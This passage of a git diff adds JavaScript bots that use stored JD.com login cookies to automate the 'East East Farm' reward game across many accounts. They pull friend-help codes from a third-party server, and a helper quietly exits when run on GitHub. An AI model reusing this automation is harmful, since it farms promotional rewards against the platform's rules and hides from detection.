($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = {"type": 2, "version": 6, "channel": 2}; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, {"version": 4, "channel": 1}); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, {"version": 5, "channel": 1}); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, {"cardType": cardType}); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), {'type': type}); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), {type: 1, version: 4, channel: 1}); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = {"type": type,"adId": adId,"version":4,"channel":1}; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = {"type":2,"adId": type,"version":4,"channel":1}; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = {"type": 1, "hongBaoTimes": 100, "version": 3}; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, {"type": 1}); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', {"type": 2}) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), {type: 3}); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', {"version": 4, "channel": 1}); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = {"shareCode": shareCode, "version": 6, "channel": 1} + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `http://transfer.nz.lu/farm`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []); + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdFruitShareCodes = $.isNode() ? require('./jdFruitShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdFruitShareCodes).forEach((item) => { + if (jdFruitShareCodes[item]) { + $.shareCodesArr.push(jdFruitShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_fruit_inviter')) $.shareCodesArr = $.getdata('jd_fruit_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_fruit_inviter') ? $.getdata('jd_fruit_inviter') : '暂无'}\n`); + } + // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) + // console.log(`jdFruitShareArr账号长度::${$.shareCodesArr.length}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的农场助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000){ + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_fruit_friend.js b/jd_fruit_friend.js new file mode 100644 index 0000000..cf930b5 --- /dev/null +++ b/jd_fruit_friend.js @@ -0,0 +1,630 @@ +/* +东东水果:脚本更新地址 jd_fruit_friend.js +更新时间:2021-5-18 +活动入口:京东APP我的-更多工具-东东农场 +东东农场好友删减奖励活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 +==========================Quantumultx========================= +[task_local] +#jd免费水果 +10 5,17 * * * jd_fruit_friend.js, tag=东东农场好友删减奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "10 5,17 * * *" script-path=jd_fruit_friend.js,tag=东东农场好友删减奖励 + +=========================Surge============================ +东东农场好友删减奖励 = type=cron,cronexp="10 5,17 * * *",wake-system=1,timeout=3600,script-path=jd_fruit_friend.js + +=========================小火箭=========================== +东东农场好友删减奖励 = type=cron,script-path=jd_fruit_friend.js, cronexpr="10 5,17 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('东东农场好友删减奖励'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if(llhelp){ + console.log('开始收集您的互助码,用于好友删除与加好友操作'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = 